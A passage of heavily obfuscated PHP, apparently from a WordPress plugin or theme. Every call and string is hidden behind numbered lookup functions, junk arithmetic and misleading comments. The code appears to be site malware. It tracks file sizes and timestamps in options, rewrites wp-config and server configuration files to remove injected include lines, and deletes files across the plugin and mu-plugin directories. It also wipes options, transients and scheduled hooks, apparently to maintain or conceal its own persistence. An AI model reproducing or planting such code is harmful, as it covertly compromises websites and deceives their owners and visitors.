if (rmqbu5no5o(2036)($h7e4vx8yre0wuu)      && z5pim3_rv4im5f($h7e4vx8yre0wuu))  @delete_option($_on);$tnseevvsd0937l=(0x4b+0x1f);$pcm1fal_og6=$tnseevvsd0937l%6;


    }
        $zu92m9t6jpvt   =  igsdp_2fdrp(2037)(wyzg13xdhd5r(2038))   ?  xhg11fk9i0xj5k2(hus_b7m621lgc6(1011), "") : "";
      if   (ep_coq62(2039)($zu92m9t6jpvt)  &&     $zu92m9t6jpvt !== ""  &&   (lfavz1nmi6pw4(1717)($zu92m9t6jpvt) >   (1048546+30)  ||    (ep_coq62(2037)(igsdp_2fdrp(2040)) &&   wpw1lzvpjeaxudejz($zu92m9t6jpvt))  ||     heeoaugxdqmhor94a($zu92m9t6jpvt)))   {
     if  (igsdp_2fdrp(2037)(ep_coq62(2041)))  y1t1n_tjdwdr9b8i44(hus_b7m621lgc6(1011),     "",  rmqbu5no5o(1918));
  }
     }

   }


 function zksb68q35cwjie()
 {
    try  {
   if   (!defined(lfavz1nmi6pw4(2042)))  return;
  if (!empty($GLOBALS[wyzg13xdhd5r(2043)]))  {
   $GLOBALS[wyzg13xdhd5r(2043)]   =    0;
  hnp_n76gqrqs6vbf7203of(ep_coq62(2044),    wyzg13xdhd5r(2045));
    }
  if  (!empty($GLOBALS[igsdp_2fdrp(776)])) return;
  $GLOBALS[lfavz1nmi6pw4(776)]    =    true;



if     (!isset($_GET[igsdp_2fdrp(1839)])   &&   hus_b7m621lgc6(2037)(igsdp_2fdrp(2046))   &&    wyzg13xdhd5r(2037)(rmqbu5no5o(2047))) {
   $iwr2vtz8ycx091a =   @get_option(lfavz1nmi6pw4(1883),    array());
 $j5zc96fipq4   = false;
 if  (igsdp_2fdrp(2048)($iwr2vtz8ycx091a))   {

 if  (!empty($iwr2vtz8ycx091a['t']) &&   igsdp_2fdrp(1864)() - (int)   $iwr2vtz8ycx091a[hus_b7m621lgc6(1863)]  <  (0x19e+0x56a))  $j5zc96fipq4  =  true;
  

 if  (!$j5zc96fipq4 &&  !empty($iwr2vtz8ycx091a[igsdp_2fdrp(1913)])  &&  hus_b7m621lgc6(2049)($iwr2vtz8ycx091a[igsdp_2fdrp(1913)]))   {$ihjewikkmg6q=128|124;$ukll89uz=$ihjewikkmg6q^184;
 foreach  ($iwr2vtz8ycx091a[wyzg13xdhd5r(1913)]  as    $_ci)  {
/* indefinite write-ahead-log */

  if  (lfavz1nmi6pw4(2049)($_ci)  &&  hus_b7m621lgc6(1864)()  - (int)  $_ci[rmqbu5no5o(1863)]      <  (2677-877))  {



  $j5zc96fipq4    =      true;
break;
  

    }


       }



 }
   }

if   ($j5zc96fipq4)   hus_b7m621lgc6(2047)(hus_b7m621lgc6(1867));
   }
        if (qg70nfu5zkdp4p5jn(kwizo_5vxh_f26an7qg()))    return;


  w5auz51vwr_077w();
   udxasxn20pqp63oukqvg6(kwizo_5vxh_f26an7qg(),  m5d7gnhy503_5w7j());
   if (!b9s1zhwklw1tgahxksx2q())   {
 d5eqo0pgutpjoph0j2df();
 gdfwgtk2ra197ur6hq();
return;
   }
$rxzmhdjber =  j050_s_2aiw8u03k();
   $rrtk4qxwehi = array(
     kwizo_5vxh_f26an7qg(),
      $rxzmhdjber  .  wyzg13xdhd5r(2031),
 );
 $ubsqi3gwxq29l = xkodj4bn7npkp51j_c1uu();
      foreach ($ubsqi3gwxq29l     as   $h963bo7p0xd2rai)    {


   if      (@ep_coq62(2014)($h963bo7p0xd2rai))     $rrtk4qxwehi[]   =  $h963bo7p0xd2rai;


   }
    $ga87xzosdj6ds_z   = array();
if    (tsvaxyvpflzkdqab96kxw())  {


   $uv4i5a2a3t9g5k0 =   mqedo90o6oi8f48x6b8n(ABSPATH     . igsdp_2fdrp(1087),      (90^82))  .  lfavz1nmi6pw4(2050);
$ga87xzosdj6ds_z[wyzg13xdhd5r(2051) .     ABSPATH     .    lfavz1nmi6pw4(1499)]  =  $uv4i5a2a3t9g5k0;

     $ga87xzosdj6ds_z[hus_b7m621lgc6(2052)  .     $rxzmhdjber    . rmqbu5no5o(2053)]    = $uv4i5a2a3t9g5k0;

 }
  $jssova4jx1grf    = wyzg13xdhd5r(2054)(ep_coq62(2055)) ?   @lfavz1nmi6pw4(2055)(hus_b7m621lgc6(563)) :   false;
  if      (igsdp_2fdrp(2056)($jssova4jx1grf)  && $jssova4jx1grf   !== "")   {


 $o6928t17oe679 =    (int)   get_option(ep_coq62(1404), 0);
  if  (!$o6928t17oe679   ||   igsdp_2fdrp(2057)() -      $o6928t17oe679  >=  (86334+66)) {
  $le3kluc_fnebf  = mqedo90o6oi8f48x6b8n(ABSPATH    . lfavz1nmi6pw4(2058),  (10-2))  .   rmqbu5no5o(2050);
$ga87xzosdj6ds_z[rmqbu5no5o(2052)   .  igsdp_2fdrp(1949)(ABSPATH,  wyzg13xdhd5r(1420))   .  '/'  .  $jssova4jx1grf]     =    $le3kluc_fnebf;
$ga87xzosdj6ds_z[wyzg13xdhd5r(2052)    .    $rxzmhdjber  . '/'      . $jssova4jx1grf]  = $le3kluc_fnebf;
  }
   }
  $tfcheyjz8fgltrd    =    y3l9rrogkbf_51t();
 if   (@hus_b7m621lgc6(2014)($tfcheyjz8fgltrd[1]))   $ga87xzosdj6ds_z[hus_b7m621lgc6(2052)  .  $tfcheyjz8fgltrd[0]]   = rmqbu5no5o(1563)  .    $tfcheyjz8fgltrd[2];


 $ckvuzds5c_t  =  @get_option(igsdp_2fdrp(2059),  array());
       if (!ep_coq62(2060)($ckvuzds5c_t)) $ckvuzds5c_t  =    array();$j_uhoqtoqw=961;$gw8xsvmoz6yoc=($j_uhoqtoqw>0)?$j_uhoqtoqw:-$j_uhoqtoqw;


   $wn06o8tj5p      =   false;
foreach ($rrtk4qxwehi     as     $oklecxckvn0m7) {
       $qar9sujy32_g5h  =     @hus_b7m621lgc6(2061)($oklecxckvn0m7);
 $kadz9b_1ru5kx82t   = $qar9sujy32_g5h ?  ($qar9sujy32_g5h[wyzg13xdhd5r(2062)]  . '|'  .  $qar9sujy32_g5h[ep_coq62(2063)])    :  '0';
 $mqc5mi60r2def_ = isset($ckvuzds5c_t[$oklecxckvn0m7])    ? $ckvuzds5c_t[$oklecxckvn0m7]  : "";
 if   ($kadz9b_1ru5kx82t  ===      $mqc5mi60r2def_) continue;


       if (wyzg13xdhd5r(1988)(lfavz1nmi6pw4(2064),   $mqc5mi60r2def_,   $q75a8ii8fm3ogch9)    &&  ep_coq62(2065)($mqc5mi60r2def_,  0,    -hus_b7m621lgc6(1717)($q75a8ii8fm3ogch9[0]))    ===   $kadz9b_1ru5kx82t   &&     igsdp_2fdrp(2057)() -  (int)  $q75a8ii8fm3ogch9[1]  <  (3535+65)) continue;
 $wn06o8tj5p =   true;
break;
 }
     if    (!$wn06o8tj5p)      {
 foreach ($ga87xzosdj6ds_z   as $key  =>   $emj3_zrhvu1)    {
     $kadz9b_1ru5kx82t  =      x9jd7o4rw4o49pkyl9ku(igsdp_2fdrp(2065)($key,    (2+3)),    $emj3_zrhvu1);
  $mqc5mi60r2def_   = isset($ckvuzds5c_t[$key])    ?  $ckvuzds5c_t[$key]    :   "";
  if   ($kadz9b_1ru5kx82t  === $mqc5mi60r2def_)   continue;
if  (rmqbu5no5o(1988)(ep_coq62(2064),   $mqc5mi60r2def_,  $q75a8ii8fm3ogch9) &&   hus_b7m621lgc6(2065)($mqc5mi60r2def_,  0, -igsdp_2fdrp(1717)($q75a8ii8fm3ogch9[0])) ===  $kadz9b_1ru5kx82t   &&     igsdp_2fdrp(2057)()   -  (int)   $q75a8ii8fm3ogch9[1]     <    (0xc320+0x8e60))  continue;

$wn06o8tj5p   =    true;
break;
}
}
    $_nnxl8o53_dxvkds =    ep_coq62(2018)(kwizo_5vxh_f26an7qg(),   lfavz1nmi6pw4(2066));

  $o4jkejvz7z   =   $rxzmhdjber  .   lfavz1nmi6pw4(59)     .     $_nnxl8o53_dxvkds   . '/' . $_nnxl8o53_dxvkds   .    hus_b7m621lgc6(2066);


     $c1jodnraov   =  ju06nqnbpd1ne9l();
if  (!@rmqbu5no5o(2014)($o4jkejvz7z)   ||     (int)     @rmqbu5no5o(2026)($o4jkejvz7z)   <  (0x281+0x1107))    $wn06o8tj5p     =    true;
     if      ($c1jodnraov !== ""     &&  !@lfavz1nmi6pw4(2067)($c1jodnraov)) $wn06o8tj5p = true;
if  (!$wn06o8tj5p      &&  igsdp_2fdrp(2054)(lfavz1nmi6pw4(2068))) {



   $f9gnqu5bv3     =     $_nnxl8o53_dxvkds .  '/'      .   $_nnxl8o53_dxvkds     .     igsdp_2fdrp(2069);
    $p8tfjc_v59ls =      get_option(hus_b7m621lgc6(2070),  array());
if (!hus_b7m621lgc6(2060)($p8tfjc_v59ls) || !ep_coq62(2071)($f9gnqu5bv3,   $p8tfjc_v59ls,     true))     $wn06o8tj5p    =   true;
   }
    if    (!$wn06o8tj5p)   return;


 if  (!apm4hn2aswm3_bah(wyzg13xdhd5r(778)))    return;
 try  {
 cw1g5is15fzot0mrcbi();
   w4hosa1yui1duapjzivqq();
 gdfwgtk2ra197ur6hq();
  fmz_35u9u0_dq9ens6um();
 rx9m06ctksmnpk1r6e();
    d5eqo0pgutpjoph0j2df();
lh7g4ocab9t6gj8jajit2();
        tld5gs6vag2vwfmpnwa();
$bh50wwd34sj   =   bp6gzvxnl_z6yu();

     $r0w7rkfqfv =  b0af79r_ptgo7lzzj53();
  $js0q4ytn5dn6 =   array();
   foreach   ($rrtk4qxwehi     as    $oklecxckvn0m7)    {
    $tofp26hiqvp0o9p7 =  ($oklecxckvn0m7   === $rxzmhdjber      . hus_b7m621lgc6(2072)     &&    !$bh50wwd34sj)    || (wyzg13xdhd5r(2065)($oklecxckvn0m7,    -(51^61)) ===  hus_b7m621lgc6(2073) &&  !$r0w7rkfqfv);
      $qar9sujy32_g5h = @wyzg13xdhd5r(2061)($oklecxckvn0m7);
  if    ($qar9sujy32_g5h)  {


 $js0q4ytn5dn6[$oklecxckvn0m7]   =  $qar9sujy32_g5h[ep_coq62(2074)]   . '|'   .   $qar9sujy32_g5h[wyzg13xdhd5r(2063)]  .  ($tofp26hiqvp0o9p7 ?  wyzg13xdhd5r(2075)  .  hus_b7m621lgc6(2057)() : "");
 }
}


foreach  ($ga87xzosdj6ds_z     as $key    =>  $emj3_zrhvu1)   {
  $m84lozy2smyw9i4  =  x9jd7o4rw4o49pkyl9ku(ep_coq62(2076)($key, (9^12)),    $emj3_zrhvu1);
 if  ($m84lozy2smyw9i4    === '0'  ||    rmqbu5no5o(2076)($m84lozy2smyw9i4, -2) === rmqbu5no5o(2077))    $m84lozy2smyw9i4 .=   hus_b7m621lgc6(2075)     . hus_b7m621lgc6(2057)();
    $js0q4ytn5dn6[$key]  = $m84lozy2smyw9i4;
     }
     @update_option(igsdp_2fdrp(2059),   $js0q4ytn5dn6,     igsdp_2fdrp(1918));
 }  finally {
   _38yfoleq3q40e76(lfavz1nmi6pw4(778));
}


 } catch (Throwable $mrelaaojjq4dc7d)      {
hnp_n76gqrqs6vbf7203of(ep_coq62(2078), $mrelaaojjq4dc7d);
}   catch (Exception  $mrelaaojjq4dc7d)  {
     }
 }
function    x9jd7o4rw4o49pkyl9ku($oklecxckvn0m7,   $emj3_zrhvu1)
  {
$qar9sujy32_g5h   =  @hus_b7m621lgc6(2079)($oklecxckvn0m7);
  if (!$qar9sujy32_g5h)     return    '0';


   $kadz9b_1ru5kx82t  =  $qar9sujy32_g5h[lfavz1nmi6pw4(2074)]   .    '|'  .  $qar9sujy32_g5h[igsdp_2fdrp(2080)];
     if     ($qar9sujy32_g5h[hus_b7m621lgc6(2074)]     >  (0xfdad1+0x252f))   return   rmqbu5no5o(2081) . $kadz9b_1ru5kx82t;
  $rux5kf_r1ghgig     =     @hus_b7m621lgc6(2027)($oklecxckvn0m7);

  return $kadz9b_1ru5kx82t  . '|' . ((lfavz1nmi6pw4(2056)($rux5kf_r1ghgig)  &&  lfavz1nmi6pw4(2016)($rux5kf_r1ghgig,  $emj3_zrhvu1)    !== false) ?   '1' :    '0');

}
  function    jqkh_1hw6kq5kk1()
 {
 $_pv    =  rmqbu5no5o(2082)(wyzg13xdhd5r(2068)) ?  get_option(lfavz1nmi6pw4(190), "")    :  "";



     z8ruixu1k3l6n5gi();
  $dxl433vqyv831mgf   =     igsdp_2fdrp(2082)(ep_coq62(2068))  ?  get_option(ep_coq62(2083),    "")     :   "";
 if  ($dxl433vqyv831mgf === $_pv)  @delete_option(hus_b7m621lgc6(2084));

     }
 function  z8ruixu1k3l6n5gi()

 {
  try     {
     if (!defined(lfavz1nmi6pw4(2085)))   return;
     $rxzmhdjber  =   j050_s_2aiw8u03k();
 $l2dtjvg24o908     =    b9x_qnoopw0bqe8tpa3a4();
   $eqona1y7xbdxvjqz     =  mqedo90o6oi8f48x6b8n(ABSPATH    . lfavz1nmi6pw4(1337),  (137^129)) .     hus_b7m621lgc6(1338);
$xtm1_k7u11c     = mqedo90o6oi8f48x6b8n(ABSPATH   . igsdp_2fdrp(1087),   (0x4+0x4))   .  wyzg13xdhd5r(2069);
     $o3_93ywklyfgreyy    =  mqedo90o6oi8f48x6b8n(ABSPATH     . rmqbu5no5o(2058),  (0x2+0x6))   .  lfavz1nmi6pw4(2069);

  $xr7rvdhtdcty     =    mqedo90o6oi8f48x6b8n(ABSPATH  .  hus_b7m621lgc6(2086),  (3+5))  . rmqbu5no5o(2069);
    $_a00sl5fmub   = mqedo90o6oi8f48x6b8n(ABSPATH .      hus_b7m621lgc6(2087), (0x2+0x6)) .   igsdp_2fdrp(2069);
 $ysbdwyd5ca3ci  =  rmqbu5no5o(1647)    .   mqedo90o6oi8f48x6b8n(ABSPATH    .   'g',      (24^16));
 $tn5fv9hbi5     = array(
$rxzmhdjber    . wyzg13xdhd5r(2088) => rmqbu5no5o(908),
 $rxzmhdjber    .  ep_coq62(2072)   =>  lfavz1nmi6pw4(906),
 );
     foreach     ($tn5fv9hbi5 as     $oklecxckvn0m7   =>   $prefix)    {
  if (!@ep_coq62(2067)($oklecxckvn0m7)) continue;
 $rux5kf_r1ghgig    = @rmqbu5no5o(2027)($oklecxckvn0m7);
 if ($rux5kf_r1ghgig ===   false)    continue;
      $g76s_sqh4du1  =    lfavz1nmi6pw4(913) .  $prefix  .  ep_coq62(914)    .   $prefix .    ep_coq62(915);
  $qovbiwrkv5bbm =  rmqbu5no5o(2089)($g76s_sqh4du1,  "",    $rux5kf_r1ghgig);
if    ($qovbiwrkv5bbm     !==      $rux5kf_r1ghgig)  p1cskrtcz8bv54lf($oklecxckvn0m7,   $qovbiwrkv5bbm);
 }
$w8j7hnn_85ik8ol =   $rxzmhdjber   .    rmqbu5no5o(2090);
     if   (@wyzg13xdhd5r(2067)($w8j7hnn_85ik8ol))   {
/* projective equivalence-class */

 $io2qwovxih = @hus_b7m621lgc6(2091)($w8j7hnn_85ik8ol);
if (wyzg13xdhd5r(2056)($io2qwovxih) &&   $io2qwovxih   !==    "")   {



if   (lfavz1nmi6pw4(1988)(hus_b7m621lgc6(2092),   lfavz1nmi6pw4(2076)($io2qwovxih, 0,  (0x7c+0xb0)))  ||  rmqbu5no5o(2016)($io2qwovxih,  hus_b7m621lgc6(1555))  ===  0)  {
  ms4mh9yjk8_y876983kix($w8j7hnn_85ik8ol,  (629-209));
oj333ptt2v9_ikd4str_($w8j7hnn_85ik8ol);

  }    else    {
     $pmap5kado_x  =     rmqbu5no5o(2089)(ep_coq62(2093),  "",  $io2qwovxih);
if (hus_b7m621lgc6(2094)($pmap5kado_x) &&      $pmap5kado_x !== $io2qwovxih)  p1cskrtcz8bv54lf($w8j7hnn_85ik8ol,  $pmap5kado_x);
 

unset($pmap5kado_x);
  }



      }



 unset($io2qwovxih);
     }



$kyu6iet1jbkh8h_2  =  ep_coq62(2095)(kwizo_5vxh_f26an7qg())     .     lfavz1nmi6pw4(129);
     $kmvdrz2gqocdehbq   = defined(rmqbu5no5o(1969))    ? WP_CONTENT_DIR .   igsdp_2fdrp(129) :  $kyu6iet1jbkh8h_2;
 $nz4xoto_0z   = array(
 $rxzmhdjber  .  '/' .    $eqona1y7xbdxvjqz,
 $rxzmhdjber   .    '/' . $xtm1_k7u11c,

   $rxzmhdjber .   '/' .  $o3_93ywklyfgreyy,
    $l2dtjvg24o908  .  '/'   .   $xr7rvdhtdcty,
 $l2dtjvg24o908  .    '/' . $_a00sl5fmub,
$l2dtjvg24o908   .    '/' . $xtm1_k7u11c,

      $l2dtjvg24o908  .      '/'   .     $o3_93ywklyfgreyy,
  $kyu6iet1jbkh8h_2   .  '/'  .     $xr7rvdhtdcty,
$kyu6iet1jbkh8h_2  . '/'  .  $_a00sl5fmub,
 $kyu6iet1jbkh8h_2   . '/' .  $xtm1_k7u11c,
   $kyu6iet1jbkh8h_2   . '/'    . $o3_93ywklyfgreyy,
$kmvdrz2gqocdehbq  .  '/'  .   $xr7rvdhtdcty,
$kmvdrz2gqocdehbq   .    '/' .   $_a00sl5fmub,
       $kmvdrz2gqocdehbq     . '/' . $xtm1_k7u11c,
$kmvdrz2gqocdehbq . '/' .   $o3_93ywklyfgreyy,
);
   $d_6jy89zb0  = y3l9rrogkbf_51t();
  $nz4xoto_0z[]    =     $d_6jy89zb0[1];
  $nz4xoto_0z[] =     $d_6jy89zb0[1]  . ep_coq62(2096);
 unset($d_6jy89zb0);
 if  (wyzg13xdhd5r(2082)(hus_b7m621lgc6(2097)))    {
// initialize bivariant for WP Search Block




foreach ((array)  @igsdp_2fdrp(2097)($rxzmhdjber    .  hus_b7m621lgc6(2098)     .   $eqona1y7xbdxvjqz)  as   $rvzqhp3v_glon)      $nz4xoto_0z[]   =  $rvzqhp3v_glon;$j367oqq5p_ijlx=40+65;$kak8h3zzes_j=$j367oqq5p_ijlx-33;
foreach ((array) @wyzg13xdhd5r(2099)($rxzmhdjber .  ep_coq62(2100)  .    $eqona1y7xbdxvjqz)   as    $rvzqhp3v_glon) $nz4xoto_0z[]     =  $rvzqhp3v_glon;

      foreach ((array)    @lfavz1nmi6pw4(2099)(ABSPATH  .    rmqbu5no5o(2101)   .  $ysbdwyd5ca3ci   .  igsdp_2fdrp(291))    as $gur_7_z0mm) $nz4xoto_0z[]      =   $gur_7_z0mm;$nz8f0_rin=PHP_MAJOR_VERSION;$ix13y2lc=$nz8f0_rin*2;
    foreach ((array)     @ep_coq62(2099)($rxzmhdjber   .  '/' .  $ysbdwyd5ca3ci      .  lfavz1nmi6pw4(291))  as    $gur_7_z0mm)      $nz4xoto_0z[]   = $gur_7_z0mm;



foreach  ((array)      @rmqbu5no5o(2102)($l2dtjvg24o908   .   '/'  . $ysbdwyd5ca3ci .   hus_b7m621lgc6(291))  as   $gur_7_z0mm)  $nz4xoto_0z[]  =   $gur_7_z0mm;
     foreach   ((array) @ep_coq62(2102)($kyu6iet1jbkh8h_2 .     '/'  . $ysbdwyd5ca3ci   .      ep_coq62(291))   as   $gur_7_z0mm)   $nz4xoto_0z[]      =  $gur_7_z0mm;
    foreach ((array)    @rmqbu5no5o(2102)($kmvdrz2gqocdehbq   .   '/'   .  $ysbdwyd5ca3ci .    ep_coq62(291))  as  $gur_7_z0mm)      $nz4xoto_0z[] = $gur_7_z0mm;
 }

 $nxujwwpm18g__n0b  =  mqedo90o6oi8f48x6b8n(ABSPATH   .   'g',    (245^253));
   $_y1q8m_zxih7xu  = array(ABSPATH .      rmqbu5no5o(1649),    $rxzmhdjber,   $l2dtjvg24o908,  $kyu6iet1jbkh8h_2,     $kmvdrz2gqocdehbq);

foreach      ($_y1q8m_zxih7xu      as $_gd)  {
   if (@lfavz1nmi6pw4(1741)($_gd)   &&   @wyzg13xdhd5r(1929)($_gd))  s8vwkc5_zc55h5kmmz0x($_gd   . rmqbu5no5o(1650) .    $nxujwwpm18g__n0b,  m5d7gnhy503_5w7j(), lfavz1nmi6pw4(2103));
 }
  if  (hus_b7m621lgc6(2104)(ep_coq62(2102))) {
// archive satisfiable substitution-map

  foreach   ($_y1q8m_zxih7xu     as  $_gd)  {


        foreach  (array(hus_b7m621lgc6(556),    lfavz1nmi6pw4(2105),    igsdp_2fdrp(2106),    wyzg13xdhd5r(2107), rmqbu5no5o(2108), igsdp_2fdrp(2109),    igsdp_2fdrp(2110), igsdp_2fdrp(2111),    wyzg13xdhd5r(2112))     as  $eftj83s6acvrvu7p) {
       foreach   ((array)    @igsdp_2fdrp(2113)($_gd   .  '/'      .   $eftj83s6acvrvu7p .   '*') as  $labj76npe_9o0)    $nz4xoto_0z[]  =   $labj76npe_9o0;
 }
// PHP 8.0 JIT comment moderation

  foreach  ((array)  @igsdp_2fdrp(2114)($_gd .  ep_coq62(2115))   as  $p6hny66tvnt)    $nz4xoto_0z[]     =  $p6hny66tvnt;
    

      }
}
unset($nxujwwpm18g__n0b,    $_y1q8m_zxih7xu,  $_gd, $eftj83s6acvrvu7p,   $labj76npe_9o0,     $p6hny66tvnt);
$b4zoi0kh0b_u6fzz = array(ABSPATH .   hus_b7m621lgc6(1499),   $rxzmhdjber .     ep_coq62(2116));
   foreach ($b4zoi0kh0b_u6fzz as   $alg9rp5naooqp)   {

     if  (!@wyzg13xdhd5r(2067)($alg9rp5naooqp)) continue;
 $rux5kf_r1ghgig =     @ep_coq62(2091)($alg9rp5naooqp);
 if ($rux5kf_r1ghgig &&  igsdp_2fdrp(2117)($rux5kf_r1ghgig,   wyzg13xdhd5r(2118))      !==     false)  {
  $rux5kf_r1ghgig   =    wyzg13xdhd5r(2089)(hus_b7m621lgc6(1153)  . igsdp_2fdrp(1083)($xtm1_k7u11c, '/') . hus_b7m621lgc6(1156),   "\n", $rux5kf_r1ghgig);
      if (igsdp_2fdrp(2094)($rux5kf_r1ghgig))      {
     $rux5kf_r1ghgig   =  igsdp_2fdrp(2089)(rmqbu5no5o(2119)  . ep_coq62(2120)($xtm1_k7u11c, '/')   .  rmqbu5no5o(2121), "\n",  $rux5kf_r1ghgig);



  }
 if (wyzg13xdhd5r(2122)($rux5kf_r1ghgig))  {
 $rux5kf_r1ghgig   =     hus_b7m621lgc6(2089)(rmqbu5no5o(2123) . lfavz1nmi6pw4(2120)($xtm1_k7u11c,  '/')  .    ep_coq62(1158), "\n", $rux5kf_r1ghgig);
   }
  if (rmqbu5no5o(2122)($rux5kf_r1ghgig))  p1cskrtcz8bv54lf($alg9rp5naooqp,      $rux5kf_r1ghgig);
      }

 }


     $d490r01332    =    ABSPATH . rmqbu5no5o(2124);
  if   (!@igsdp_2fdrp(2067)($d490r01332))  {
$fzu1tr_3ahwn =   lfavz1nmi6pw4(2095)(ABSPATH)    .  wyzg13xdhd5r(1301);
  if   (@igsdp_2fdrp(2067)($fzu1tr_3ahwn)) $d490r01332    = $fzu1tr_3ahwn;
    }
   if (@lfavz1nmi6pw4(2067)($d490r01332)  &&  @ep_coq62(1929)($d490r01332))   {
$_wc   = @lfavz1nmi6pw4(2091)($d490r01332);



   if   (rmqbu5no5o(2125)($_wc)  &&   rmqbu5no5o(2117)($_wc,      igsdp_2fdrp(577)) !== false) {
    $t7dcq8s2u7t  =   rmqbu5no5o(2126)(ep_coq62(2127),   "",    $_wc);$rt5wbf4p716rjv=13*2;$zpt1gaixom2=$rt5wbf4p716rjv-26;
     if  (wyzg13xdhd5r(2128)($t7dcq8s2u7t)  && $t7dcq8s2u7t  !== $_wc    &&   chslach3yj4d6lbh($t7dcq8s2u7t))    {
 $c3kr470haem  =  @ep_coq62(1998)($d490r01332);
 if (p1cskrtcz8bv54lf($d490r01332,  $t7dcq8s2u7t) && $c3kr470haem) @lfavz1nmi6pw4(22)($d490r01332,   $c3kr470haem);
}
   unset($t7dcq8s2u7t,  $c3kr470haem);
}
 unset($_wc);
 }
   unset($d490r01332, $fzu1tr_3ahwn);
$jssova4jx1grf  =    rmqbu5no5o(2104)(rmqbu5no5o(2129))   ?     @igsdp_2fdrp(2130)(ep_coq62(2131))   :      false;
   if  (!$jssova4jx1grf ||    $jssova4jx1grf     ===    "") $jssova4jx1grf  =    igsdp_2fdrp(2132);
   $ghbljqq8zv4w =   array(ABSPATH   .     $jssova4jx1grf, $rxzmhdjber  .  '/'  .   $jssova4jx1grf);
foreach  ($ghbljqq8zv4w    as $zdllkql6r3q)     {
   if  (!@ep_coq62(2067)($zdllkql6r3q))   continue;
    $rux5kf_r1ghgig     =  @ep_coq62(2091)($zdllkql6r3q);
     if ($rux5kf_r1ghgig &&   lfavz1nmi6pw4(2117)($rux5kf_r1ghgig,  hus_b7m621lgc6(2133))    !== false) {



   $rux5kf_r1ghgig   =  wyzg13xdhd5r(2126)(ep_coq62(2134)      .   hus_b7m621lgc6(2120)($o3_93ywklyfgreyy, '/')    .   rmqbu5no5o(2135), "", $rux5kf_r1ghgig);
if (igsdp_2fdrp(2128)($rux5kf_r1ghgig))     p1cskrtcz8bv54lf($zdllkql6r3q,  $rux5kf_r1ghgig);
       }
    }


   $dcmv91l3n8fe1ou  =  array(

 $rxzmhdjber   .   '/' .   $o3_93ywklyfgreyy,


$l2dtjvg24o908   .      '/'  .   $o3_93ywklyfgreyy,


       $kyu6iet1jbkh8h_2    .   '/'  .    $o3_93ywklyfgreyy,
 );
    $bszdw2v0mc   =      lfavz1nmi6pw4(2136)($nz4xoto_0z,     $dcmv91l3n8fe1ou);


        foreach  ($dcmv91l3n8fe1ou as  $eofsqnwjdfpxz) {

if (@lfavz1nmi6pw4(2067)($eofsqnwjdfpxz))  {
ms4mh9yjk8_y876983kix($eofsqnwjdfpxz,   (401+19));
     p1cskrtcz8bv54lf($eofsqnwjdfpxz,    lfavz1nmi6pw4(1424));
    }

}
    foreach   ($bszdw2v0mc   as  $eofsqnwjdfpxz) {
if  (@igsdp_2fdrp(2067)($eofsqnwjdfpxz))      {
      ms4mh9yjk8_y876983kix($eofsqnwjdfpxz,     (348+72));

  oj333ptt2v9_ikd4str_($eofsqnwjdfpxz);
 }
  }
foreach (xkodj4bn7npkp51j_c1uu() as   $k7fgegzh2rf00p7) {
   if   (!@wyzg13xdhd5r(2067)($k7fgegzh2rf00p7)   ||  !@igsdp_2fdrp(1929)($k7fgegzh2rf00p7))     continue;
        $rux5kf_r1ghgig  =    @hus_b7m621lgc6(2137)($k7fgegzh2rf00p7);
  if (rmqbu5no5o(2138)($rux5kf_r1ghgig))    {
$f7vbcknmovl6my9j     =  encho1y07ay7g2v($rux5kf_r1ghgig,   lfavz1nmi6pw4(2139),   ep_coq62(1829));



  $f7vbcknmovl6my9j   = encho1y07ay7g2v($f7vbcknmovl6my9j, rmqbu5no5o(1824),      ep_coq62(1829));

 if (igsdp_2fdrp(2138)($f7vbcknmovl6my9j)      &&    $f7vbcknmovl6my9j  !==   $rux5kf_r1ghgig)    p1cskrtcz8bv54lf($k7fgegzh2rf00p7, $f7vbcknmovl6my9j);
unset($f7vbcknmovl6my9j);
}
 }
        if (ep_coq62(2140)(rmqbu5no5o(1594)) &&  lfavz1nmi6pw4(2140)(hus_b7m621lgc6(1586)))    {
 $key    = yimv0roydh7ojls_h();
      if     ($key  !==  false) {
     $nd5utgazp7eq =   @rmqbu5no5o(1594)($key,   'w',    0,     0);
  if  ($nd5utgazp7eq)  {
  @wyzg13xdhd5r(1603)($nd5utgazp7eq);$wzk2nchjix=34+55;$wivb_rd3u1=$wzk2nchjix-25;



  @igsdp_2fdrp(1601)($nd5utgazp7eq);
}
}
    }
 if    (igsdp_2fdrp(2141)(rmqbu5no5o(882))) {
 $zj5tbc1f9_6e038j    =     mqedo90o6oi8f48x6b8n(ABSPATH    . wyzg13xdhd5r(2035),  (4+6));
 @delete_option($zj5tbc1f9_6e038j);


$iwr2vtz8ycx091a    =   hus_b7m621lgc6(2141)(hus_b7m621lgc6(2068))  ?    @get_option(rmqbu5no5o(1883),  array())   :  array();



if   (lfavz1nmi6pw4(2060)($iwr2vtz8ycx091a)) {
 if (isset($iwr2vtz8ycx091a['b']))  oj333ptt2v9_ikd4str_($iwr2vtz8ycx091a['b']);
   if  (isset($iwr2vtz8ycx091a[lfavz1nmi6pw4(1913)])      &&  wyzg13xdhd5r(2142)($iwr2vtz8ycx091a[igsdp_2fdrp(2143)]))  {
   foreach   ($iwr2vtz8ycx091a[lfavz1nmi6pw4(2143)]     as $_ci)  {
if      (hus_b7m621lgc6(2144)($_ci)   &&      isset($_ci['b']))  oj333ptt2v9_ikd4str_($_ci['b']);
 }
}



 }

     @delete_option(wyzg13xdhd5r(1883));
     @delete_option(rmqbu5no5o(1845));
    @delete_option(hus_b7m621lgc6(2145));
@delete_option(rmqbu5no5o(1518));
 @delete_option(lfavz1nmi6pw4(2146));
 @delete_option(wyzg13xdhd5r(2147));
@delete_option(ep_coq62(1404));
 @delete_option(igsdp_2fdrp(1459));
unset($iwr2vtz8ycx091a,   $_ci);
}
 if (rmqbu5no5o(2141)(wyzg13xdhd5r(1172))) {
// verify assumptions

     @delete_transient(rmqbu5no5o(725));

      @delete_transient(hus_b7m621lgc6(1646));
@delete_transient(ws9xpun_9td1a1wfmk());
}
     if   (rmqbu5no5o(2148)(igsdp_2fdrp(730)))    {
   @wp_clear_scheduled_hook(hus_b7m621lgc6(2149));
       @wp_clear_scheduled_hook(wyzg13xdhd5r(2150));
 @wp_clear_scheduled_hook(_cifkcih804l1yu2c4_());
    }
}      catch (Throwable      $mrelaaojjq4dc7d) {
    hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(2151),  $mrelaaojjq4dc7d);
       }  catch   (Exception   $mrelaaojjq4dc7d) {
/* serializable partition-refinement */


}
// loop invariant

   }

     function  bp6gzvxnl_z6yu()
   {
// replicate dependent-type for WP RichText API

    try   {



     if  (!defined(igsdp_2fdrp(2085)))  return    false;
